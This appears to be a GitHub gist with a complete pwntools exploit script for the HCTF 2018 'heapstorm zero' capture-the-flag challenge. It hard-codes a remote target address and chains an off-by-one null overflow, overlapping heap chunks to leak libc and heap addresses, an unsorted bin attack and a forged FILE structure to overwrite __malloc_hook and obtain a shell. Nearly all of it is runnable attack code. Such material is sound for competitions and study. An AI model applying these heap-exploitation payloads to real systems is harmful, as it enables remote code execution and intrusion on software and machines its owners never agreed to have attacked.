Skip to content

Instantly share code, notes, and snippets.

@hama7230
Created November 13, 2018 12:49
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hama7230/bfbffc25ab304f38e2c8db6abe5ec69a to your computer and use it in GitHub Desktop.
Save hama7230/bfbffc25ab304f38e2c8db6abe5ec69a to your computer and use it in GitHub Desktop.
HCTF 2018 heapstorm zero
#!/usr/bin/env python
from pwn import *
context(terminal=['tmux', 'splitw', '-h']) # horizontal split window
# libc = ELF('./libc64.so')
elf = ELF('./heapstorm_zero')
context(os='linux', arch=elf.arch)
# context(log_level='debug') # output verbose log
RHOST = "150.109.46.159"
RPORT = 20001
LHOST = "127.0.0.1"
LPORT = 20001
def section_addr(name, elf=elf):
return elf.get_section_by_name(name).header['sh_addr']
def dbg(ss):
log.info("%s: 0x%x" % (ss, eval(ss)))
conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option
if opt in 'rl':
conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
conn.sendline('R4UKcyMU6RpnypSEewwounQDoDWAADeJ')
elif opt == 'd':
gdbscript = """
continue
""".format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
conn = gdb.debug(['./heapstorm_zero'], gdbscript=gdbscript)
else:
conn = process(['./heapstorm_zero'])
# conn = process(['./heapstorm_zero'], env={'LD_PRELOAD': './libc64.so'})
if opt == 'a': gdb.attach(conn)
def a(s, p):
conn.sendlineafter('Choice:', '1')
conn.sendlineafter('size:', str(s))
conn.sendafter('content:', p)
time.sleep(0.1)
conn.recvuntil('Chunk index: ')
return int(conn.recvline()[:-1])
def v(i):
conn.sendlineafter('Choice:', '2')
conn.sendlineafter('index:', str(i))
def d(i):
conn.sendlineafter('Choice:', '3')
conn.sendlineafter('index:', str(i))
# exploit
log.info('Pwning')
a(0x18, 'x'*0x10+'\n')
for i in range(0x10 - 1 - 1):
a(0x38, 'y'*0x10+'\n')
a(0x18, 'z'*0x10+'\n')
for i in range(1, 7):
d(i)
# cause __malloc_consolidate
conn.sendline('1'*0x400)
a(0x38, 'b'*0x38) # off-by-one null overflow,
x = a(0x38, 'c'*0x10 + '\n') # for avoiding assert() corrupted size vs. prev_size
d(x)
conn.sendline('1'*0x400)
d(7)
conn.sendline('1'*0x400)
# op == overlapped chunk
op_1 = a(0x38, 'd'*0x10 + '\n')
op_2 = a(0x38, 'd'*0x10 + '\n')
op_3 = a(0x38, 'd'*0x10 + '\n') `
a(0x38, 'e'*0x10 + '\n')
v(op_1) # op_1 is overlapped with unsoretbin chunk, so we can get libc address
conn.recvuntil('Content: ')
libc_base = u64(conn.recv(6) + '\x00\x00') - 0x3c4b78
dbg('libc_base')
# leak heap address but finally i don't use it.
x = a(0x38, 'e'*0x10 + '\n')
y = a(0x38, 'e'*0x10 + '\n')
d(x)
d(y)
v(op_2)
conn.recvuntil('Content: ')
heap_base = u64(conn.recv(6) + '\x00\x00') - 0xa0
dbg('heap_base')
x = a(0x38, 'f'*0x10 + '\n')
op_4 = a(0x38, 'g'*0x10 + '\n')
a(0x38, 'h'*0x10 + '\n')
a(0x38, 'i'*0x10 + '\n')
a(0x38, 'j'*0x10 + '\n')
d(x)
d(op_4)
conn.sendline('1'*0x400)
a(0x38, 'k'*0x10 + '\n')
d(op_2)
a(0x38, p64(0xdeadbeef) + p64(libc_base + 0x3c4920 - 0x10) + 'aaaa\n')
a(0x38, 'unsorted bin attack\n')
payload = '1\n' + '\x00'*3
payload += p64(libc_base + 0x3c6790)
payload += p64(0xffffffffffffffff) + p64(0)
payload += p64(libc_base + 0x3c49c0)
payload += p64(0) * 3 + p64(0xffffffff) + p64(0) * 2
payload += p64(libc_base+0x3c36e0) # vtable
payload += '\x00' * 0x150
payload += p64(libc_base + 0xf02a4) # __malloc_hook
conn.sendline(payload)
time.sleep(0.5)
conn.sendline('1')
conn.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment